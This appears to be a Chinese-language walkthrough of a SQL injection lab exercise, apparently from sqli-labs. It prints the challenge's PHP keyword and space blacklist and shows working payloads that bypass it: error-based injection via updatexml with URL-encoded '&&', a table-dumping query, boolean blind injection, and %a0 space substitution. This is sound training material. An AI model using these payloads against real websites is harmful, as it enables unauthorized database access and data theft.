1. 题目分析
这道题的坑算是比较多的了,我们来分析一下。
通过初步测试发现这个题目过滤的东西有点多,直接看源码
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
这基本上算是能构造的都给你过滤的干干净净了。
所以,我们的思路就是不用空格(或者绕过空格过滤),替换or
和and
。
2. 思路分析
or
和and
的绕过是上一节的重点内容。本节主要处理空格
处理空格有两种思路:
- 因为题目有空格过滤,我们直接寻找不使用空格的注入方法。
- 使用其他特殊字符代替空格。
2.1 不用空格
先输入一个1'
测试一下
得出两个结论:
id
是由单引号包裹的- 网站没有对报错信息进行过滤,我们可以使用基于报错的注入手段
看一下网站查询的SQL源码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
2.1.1 报错注入
由于不使用空格,并且网站会返回详细的错误信息,因此updatexml()
是一个不错的选择。
先构造一个查数据库的payload
?id=1'%26%26updatexml(1,concat('~~',database()),1)%26%26'
效果如下图:
这里的%26
是&
的url编码。因为这里有and
+空格过滤,因此只能使用&&
将逻辑和updatexml
分开,但是&&
就像一个孤儿一样,不能够正常的提交给服务器,所以我们必须输入他的url编码%26%26
才行。
再来一个爆表的payload
?id=1'%26%26updatexml(1,concat('~~',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="security"))),1)%26%26'
通用
?id=1'%26%26updatexml(1,concat('~~',(payload)),1)%26%26'
在payload
处构造自己需要的查询语句即可。(注意:由于不能使用空格,因此可以用括号()
将每个查询的部分独立开)
2.1.2 盲注
除了使用报错注入外,还可以使用盲注。
通过构造True和Fals语句,发现网站有不同的响应。
因此我们可以构造判断语句,进行盲注。
这里猜一下数据库的名字是不是security
?id=1'%26%26(database()="security")%26%26'1'='1
因此通用的payload
如下:
?id=1'%26%26(payload)%26%26'1'='1
我们可以利用substr()
和ascii()
进行盲注。
2.2 使用特殊字符代替空格
本来这个方法应该是首选的,但是由于我的sqli
是在windows搭建的原因导致这个方法不能成功通关。
这里就简单说一下吧,
由于空格是被过滤掉的,因此我们即使输入的是URL编码%20
还是不行。但是在url编码中有一些特殊字符是会被当成和空格具有一样效果的,
就像这个%a0
,虽然会被当做空格使用,但是却不会被过滤。
但是windows
平台不能识别这些特殊字符,
如图,他无法识别,就给你显示了一个问号图标。网上很多人说这是windows
本身的锅,linux
就可以识别出来这个特殊字符。但是我也没有试,有兴趣的小伙伴可以自己试一下。